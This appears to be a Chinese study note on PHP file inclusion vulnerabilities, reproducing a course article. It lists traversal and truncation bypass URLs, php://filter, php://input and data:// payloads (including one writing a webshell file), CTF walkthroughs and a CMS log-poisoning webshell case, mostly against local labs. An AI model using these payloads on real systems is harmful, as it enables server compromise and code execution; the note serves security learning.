31:WEB漏洞-文件操作之文件包含漏洞全解

原作者文章:(https://www.cnblogs.com/zhengna/p/15637657.html)
本文基于原作者的文章进行相应复现,作为自己的笔记,仅供参考

31:WEB漏洞-文件操作之文件包含漏洞全解

文章目录

  • 31:WEB漏洞-文件操作之文件包含漏洞全解
  • 思维导图
  • 知识点
    • 文件包含漏洞
    • 类型
    • 漏洞检测
    • 利用
      • 本地包含-
        • 1、无限制
        • 2、有限制
      • 远程包含-无限制,有限制
        • 前提条件:
    • 各种协议流玩法
      • php://
        • 1.读取文件源码用法
        • 2.执行php代码用法
        • 3.写入一句话木马用法
        • data://——执行php代码用法
        • file://
          • 1.file://[文件的绝对路径和文件名]
          • 2.[文件的相对路径和文件名]
    • 文件包含修复方案:
  • **本课重点**
    • **案例1:本地文件包含代码测试-原理**
      • 无限制
      • 有限制
        • 绕过方法1:%00截断
        • 绕过方法2:长度截断,
    • **案例2:远程文件包含代码测试-原理**
      • 无限制
      • 有限制
      • 绕过方法1:在后面加?
      • 绕过方法2:在后面加%23
      • 绕过方法3:在后面加%20
    • **案例3:各种协议流提交流测试-协议**
      • <1>php://filter——读取文件源码
      • <2>php://input——执行php代码
      • <3>php://input——写入一句话木马
      • <4>file://访问本地文件
      • <5>data://执行php代码
    • **案例4:CTF-南邮大,i春秋百度杯真题-白盒**
      • 1.某CTF题
        • <1>网站地址:http://4.chinalover.sinaapp.com/web7/index.php
        • <2>尝试读取index.php内容,读取成功。
        • <3>将返回值在本地base64解码,拿到flag。
      • 2. i春秋某Web Include CTF题
        • <1>网站:https://www.ichunqiu.com/battalion?t=1&r=0
        • <2>尝试读取本目录下的文件结构,成功。
        • <3>尝试读取dle345ae.php文件,成功拿到flag。
        • <4>还可以使用php://filter协议,读取文件内容后,到本地base64解码,拿到flag。
    • **案例5:某CMS程序文件包含利用-黑盒**
        • <1>首页打开如下
        • <2>在网上搜索易酷CMS是否有公开漏洞,搜到有本地文件包含漏洞。
        • <3>将一句话木马写入日志中
        • <4>服务器生成日志,里面有一句话木马。
        • <5>利用文件包含漏洞与一句话木马,成功执行脚本。

思维导图

31:WEB漏洞-文件操作之文件包含漏洞全解_第1张图片

知识点

知识点

文件包含漏洞

原理,检测,类型,利用,修复等

原理:将文件以脚本执行

文件包含各个脚本代码

ASP,PHP,JSP,ASPXdeng
<!--#include file="1.asp" -->
<!--#include file="1.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp" />
<?php include('test.php'); ?>

类型

1、本地包含 LFI(Local File Inclusion) 比较鸡肋 能够编辑文件或上传文件上去
2、远程包含 RFI(Remote File Inclusion) 个人博客 任意在文件上添加代码 可控性强

漏洞检测

白盒测试:代码审计
黑盒测试:
1、漏扫工具
2、公开漏洞
3、手工看参数值及功能点

利用

本地包含-

1、无限制

http://127.0.0.1/include.php?filename=1.txt
http://127.0.0.1/include.php?filename=…/…/www.txt

…/表示返回上一级

2、有限制
%00截断:条件:magic_quotes_gpc = Off     php版本<5.3.4

filename=…/…/www.txt%00
长度截断:条件:windows,点号需要长于256;linux长于4096 php版本<5.2.8
get请求方式接受有限制

远程包含-无限制,有限制

前提条件:
allow_url_fopen = On
allow_url_include = On

http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme .txt
http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme .txt%20
http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme .txt%23
http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme.txt?

各种协议流玩法

参考链接:https://www.cnblogs.com/endust/p/11804767.html

php://

1.读取文件源码用法
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]
2.执行php代码用法
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
3.写入一句话木马用法
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),''); ?>
data://——执行php代码用法

http://127.0.0.1:8080/include.php?filename=data://text/plain,
http://127.0.0.1:8080/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file://
1.file://[文件的绝对路径和文件名]

http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt

2.[文件的相对路径和文件名]

http://127.0.0.1:8080/include.php?filename=./phpinfo.txt

其他参考:https://www.cnblogs.com/endust/p/11804767.html

文件包含修复方案:

<1>固定后缀:比如include($filename.“html”);,有绕过风险
<2>固定文件:比如include(“1.txt”);
<3>WAF产品。

伪协议参考:
https://www.cnblogs.com/endust/p/11804767.html

本课重点

  • 案例1:本地文件包含代码测试-原理
  • 案例2:远程文件包含代码测试-原理
  • 案例3:各种协议流提交流测试-协议
  • 案例4:CTF-南邮大,i春秋百度杯真题-白盒
  • 案例5:某CMS程序文件包含利用-黑盒

案例1:本地文件包含代码测试-原理

无限制

文件包含漏洞原理,简单说,就是将文件以脚本执行。比如服务器本地有一个1.txt文件(里面是一个php脚本),还有一个文件包含漏洞。

include.php

 $filename = $_GET [ 'filename' ]; include ( $filename ); ?>

1.txt


如果单纯地打开1.txt文件,里面的脚本不会执行,浏览器直接显示文件内容。如下图所示。

31:WEB漏洞-文件操作之文件包含漏洞全解_第2张图片

如果配合文件包含漏洞,就会将文件以脚本执行。

31:WEB漏洞-文件操作之文件包含漏洞全解_第3张图片

还可以执行其他文件夹下的脚本。

31:WEB漏洞-文件操作之文件包含漏洞全解_第4张图片

有限制

include.php如下所示,限制文件后缀为.html

 $filename = $_GET [ 'filename' ]; include ( $filename . "html" ); ?>

此时 包含本地文件1.txt时报错,不再执行脚本

31:WEB漏洞-文件操作之文件包含漏洞全解_第5张图片

绕过方法1:%00截断
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
http://127.0.0.1:8080/include.php?filename=../../../www.txt%00
长度截断:条件:windows,点号需要长于256;linux长于4096

31:WEB漏洞-文件操作之文件包含漏洞全解_第6张图片

31:WEB漏洞-文件操作之文件包含漏洞全解_第7张图片

绕过方法2:长度截断,

用多个点号或者/.
在filename=1.txt后面输入多个点号。windows点号需要长于256;linux长于4096

31:WEB漏洞-文件操作之文件包含漏洞全解_第8张图片

31:WEB漏洞-文件操作之文件包含漏洞全解_第9张图片
我:
关于长度截断复现失败了(可能之前修改了环境,弄了一个小时了,小声嘀咕)等有空在补吧
31:WEB漏洞-文件操作之文件包含漏洞全解_第10张图片

案例2:远程文件包含代码测试-原理

无限制

php远程文件包含的前提条件是开启了allow_url_include

攻击者服务器上有一个1.txt,内容如下
在这里插入图片描述

若目标网站上有一个文件上传漏洞(无限制)
在这里插入图片描述

include.php


$filename=$_GET['filename'];
include($filename);
?>

地址为本地靶场www.xh.com
那么可以在目标网站上包含攻击者服务器上的文件,执行脚本。

31:WEB漏洞-文件操作之文件包含漏洞全解_第11张图片

若把文件内容改为一句话木马

31:WEB漏洞-文件操作之文件包含漏洞全解_第12张图片

则可以利用文件包含漏洞执行使用菜刀等工具连接目标服务器。

31:WEB漏洞-文件操作之文件包含漏洞全解_第13张图片

有限制

include.php如下所示,限制文件后缀为.html

 
$filename=$_GET['filename'];
include($filename.".html");
?>

此时 包含远程文件readme.txt时报错,不再执行脚本

31:WEB漏洞-文件操作之文件包含漏洞全解_第14张图片

绕过方法1:在后面加?

空白是因为有文件,连接成功31:WEB漏洞-文件操作之文件包含漏洞全解_第15张图片

绕过方法2:在后面加%23

31:WEB漏洞-文件操作之文件包含漏洞全解_第16张图片

绕过方法3:在后面加%20

31:WEB漏洞-文件操作之文件包含漏洞全解_第17张图片
我:
失败了
不过%00 可以
31:WEB漏洞-文件操作之文件包含漏洞全解_第18张图片

案例3:各种协议流提交流测试-协议

各协议的利用条件和方法

31:WEB漏洞-文件操作之文件包含漏洞全解_第19张图片

各语言对协议的支持

31:WEB漏洞-文件操作之文件包含漏洞全解_第20张图片

<1>php://filter——读取文件源码

php://filter读取文件源码,结果base64编码,需要自行解码。

http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt

31:WEB漏洞-文件操作之文件包含漏洞全解_第21张图片

31:WEB漏洞-文件操作之文件包含漏洞全解_第22张图片

<2>php://input——执行php代码

31:WEB漏洞-文件操作之文件包含漏洞全解_第23张图片

php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

31:WEB漏洞-文件操作之文件包含漏洞全解_第24张图片

31:WEB漏洞-文件操作之文件包含漏洞全解_第25张图片

<3>php://input——写入一句话木马

参考:https://www.cnblogs.com/endust/p/11804767.html

 fputs(fopen('shell.php','w'),''); ?>

31:WEB漏洞-文件操作之文件包含漏洞全解_第26张图片

在这里插入图片描述

<4>file://访问本地文件

31:WEB漏洞-文件操作之文件包含漏洞全解_第27张图片

31:WEB漏洞-文件操作之文件包含漏洞全解_第28张图片

<5>data://执行php代码

31:WEB漏洞-文件操作之文件包含漏洞全解_第29张图片

data://text/plain,<?php%20phpinfo();?>

31:WEB漏洞-文件操作之文件包含漏洞全解_第30张图片

案例4:CTF-南邮大,i春秋百度杯真题-白盒

1.某CTF题

<1>网站地址:http://4.chinalover.sinaapp.com/web7/index.php
<2>尝试读取index.php内容,读取成功。
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述

<3>将返回值在本地base64解码,拿到flag。

31:WEB漏洞-文件操作之文件包含漏洞全解_第31张图片

2. i春秋某Web Include CTF题

<1>网站:https://www.ichunqiu.com/battalion?t=1&r=0

在这里插入图片描述

首页打开如下图所示,说明含有文件包含漏洞。

31:WEB漏洞-文件操作之文件包含漏洞全解_第32张图片
31:WEB漏洞-文件操作之文件包含漏洞全解_第33张图片

<2>尝试读取本目录下的文件结构,成功。

31:WEB漏洞-文件操作之文件包含漏洞全解_第34张图片

<3>尝试读取dle345ae.php文件,成功拿到flag。

没反应,‘cat请求方式可能有错误
31:WEB漏洞-文件操作之文件包含漏洞全解_第35张图片

<4>还可以使用php://filter协议,读取文件内容后,到本地base64解码,拿到flag。

31:WEB漏洞-文件操作之文件包含漏洞全解_第36张图片

31:WEB漏洞-文件操作之文件包含漏洞全解_第37张图片

案例5:某CMS程序文件包含利用-黑盒

靶场为本地搭建

<1>首页打开如下

31:WEB漏洞-文件操作之文件包含漏洞全解_第38张图片

<2>在网上搜索易酷CMS是否有公开漏洞,搜到有本地文件包含漏洞。

img

<3>将一句话木马写入日志中

31:WEB漏洞-文件操作之文件包含漏洞全解_第39张图片

<4>服务器生成日志,里面有一句话木马。

31:WEB漏洞-文件操作之文件包含漏洞全解_第40张图片

<5>利用文件包含漏洞与一句话木马,成功执行脚本。

31:WEB漏洞-文件操作之文件包含漏洞全解_第41张图片

你可能感兴趣的:(web,小迪笔记,文件包含)